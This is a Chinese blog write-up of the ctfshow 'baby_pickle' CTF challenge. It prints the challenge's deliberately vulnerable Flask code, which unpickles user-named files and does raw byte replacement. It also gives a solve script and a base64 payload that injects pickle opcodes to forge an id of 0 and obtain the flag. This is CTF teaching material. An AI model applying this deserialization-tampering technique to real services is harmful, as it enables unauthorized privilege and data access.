首页 > 编程语言 >ctfshow新手杯baby_pickle(python序列化与反序列化)

ctfshow新手杯baby_pickle(python序列化与反序列化)

时间:2022-10-07 14:22:15浏览次数:45  
标签:__ info name get python ctfshow print 序列化 id

题目附件代码如下:

# Author:
#   Achilles
# Time:
#   2022-9-20
# For:
#   ctfshow
import base64
import pickle, pickletools
import uuid
from flask import Flask, request

app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"

class Rookie():
    def __init__(self, name, id):
        self.name = name
        self.id = id


@app.route("/")
def agent_show():
    global id
    id = id + 1

    if request.args.get("name"):
        name = request.args.get("name")
    else:
        name = "new_rookie"

    new_rookie = Rookie(name, id)
    try:
        file = open(str(name) + "_info", 'wb')
        info = pickle.dumps(new_rookie, protocol=0)
        info = pickletools.optimize(info)
        file.write(info)
        file.close()
    except Exception as e:
        return "error"

    with open(str(name)+"_info", "rb") as file:
        user = pickle.load(file)

    message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
    return message


@app.route("/dacaiji")
def get_flag():
    name = request.args.get("name")
    with open(str(name)+"_info", "rb") as f:
        user = pickle.load(f)

    if user.id != 0:
        message = "<h1>你不是大菜鸡</h1>"
        return message
    else:
        message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
        return message


@app.route("/change")
def change_name():
    name = base64.b64decode(request.args.get("name"))
    newname = base64.b64decode(request.args.get("newname"))

    file = open(name.decode() + "_info", "rb")
    info = file.read()
    print("old_info ====================")
    print(info)
    print("name ====================")
    print(name)
    print("newname ====================")
    print(newname)
    info = info.replace(name, newname)
    print(info)
    file.close()
    with open(name.decode()+ "_info", "wb") as f:
        f.write(info)
    return "success"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

对于类似的代码审计题目,一定要多在本地尝试,试着运行,百度不会的函数等,然后运行查看结果。

我当时的解法脚本是,

import requests

s = requests.Session()
url = 'http://5fe13c7b-72f7-40e6-8b31-d763cce56343.challenge.ctf.show/'
p1 = {
    'name':1,
}
res1 = s.get(url=url,params=p1)

p2 = {
    'name':'MQ==',
    'newname':'MA==',
}
res2 = s.get(url=url+'change',params=p2)

res3 = s.get(url=url+'dacaiji',params=p1)
print(res3.text)

这里一定要保证打开环境后url我们从未访问过!!!!

而正经解法是利用了源码里面的replace进行了逃逸。具体如下

我们这里先看一下id为1或2的序列化字节有什么不同:

print(pickletools.optimize(pickle.dumps(Rookie("aaa",0),protocol=0)))
print(pickletools.optimize(pickle.dumps(Rookie("aaa",1),protocol=0)))

b'ccopy_reg\n_reconstructor\n(c__main__\nRookie\nc__builtin__\nobject\nNtR(dVname\nVaaa\nsVid\nI0\nsb.'
b'ccopy_reg\n_reconstructor\n(c__main__\nRookie\nc__builtin__\nobject\nNtR(dVname\nVaaa\nsVid\nI1\nsb.'

可以发现不同的数字。并且最后那个`.`起句号作用,相当于PHP反序列化逃逸的`}`

我们先传参数?name=aaa

然后我们在/change页面,将name改为(这里我的建议是不写\n表示换行,而是直接敲回车然后进行base64编码)

aaa
sVid
I0
sb.

payload如下:

/change?name=YWFh&newname=YWFhCnNWaWQKSTAKc2Iu

 

标签:__,info,name,get,python,ctfshow,print,序列化,id
From: https://www.cnblogs.com/meng-han/p/16759663.html

相关文章

  • 这个Python读取文件的方法,堪称天花板级别...
    1、方法介绍基本用法先来看一下fileinput的基本功能:fileinput.filename():返回当前被读取的文件名。—>在第一行被读取之前,返回None。fileinput.fileno():返回以整数表示......
  • ctfshow新手杯repairman
    首先get传递参数mode=0得到源码Yourmodeistheguest!hello,therepairman!<?phperror_reporting(0);session_start();$config['secret']=Array();include'con......
  • [Python学习笔记]使用Python编写自动化程序处理锂电池保护板数据 - Preface
    因为工作需要,目前要开发一款自动化处理数据的程序。该程序的功能是自动读取锂电池BMS保护板数据excel,然后分析数据,来判断保护板中可能存在问题的电芯,并显示在交互界面上。......
  • python+request+pymysql+pytest数据驱动
    一.pymysql简单使用1.安装mysql下载地址:https://www.mysql.com/,安装教程这里不做介绍了,网上一大推。2.安装pymysql库在Terminal终端输入:pipinstallpymysql3.pymysql......
  • Python第五章实例、实战
    实例01    实例02    实例03    实例04   实例05    实例06    实例07    实例08    ......
  • Python 冒泡排序,选择排序,归并排序, 希尔排序 算法 及测试
    使用代码实现冒泡排序,选择排序,归并排序,希尔排序4中算法完成下列任务。对1~100000序列打乱顺序,使用上述4种排序算法进行排序。每种算法排序重复100次排序过程中记录......
  • Python基础(十二) | 还不会python绘图?两万字博文教你Matplotlib库(超详细总结)
    ⭐本专栏旨在对Python的基础语法进行详解,精炼地总结语法中的重点,详解难点,面向零基础及入门的学习者,通过专栏的学习可以熟练掌握python编程,同时为后续的数据分析,机器学习及深......
  • Python 实现自动google翻译
    留学的时候学习了几年法语,回国后逐渐生疏,一个朋友说帮忙翻译一些东西,但还是有点吃力,想着前面研究的爬虫知识,能否自动完成翻译呢,话不多说,开整。整体的爬虫思考可以参看之前的......
  • Python第三方库管理Pip和Conda
    在本机开发完程序后,需要把程序移植到服务器之类的目标机上运行,或者分发给其余同事,经常会遇到第三方库管理,或者是不同项目之间用到的第三方库版本不一致,例如有时候需要tensor......
  • Python语法之模块和包
    这一节,我将为大家介绍模块和包:在开发大型软件时,随着代码写的越来越多,如果将所有的代码都放在一个文件里,势必为以后的维护带来很大的困难。正如仓颉造字一样,仓颉是黄帝的史......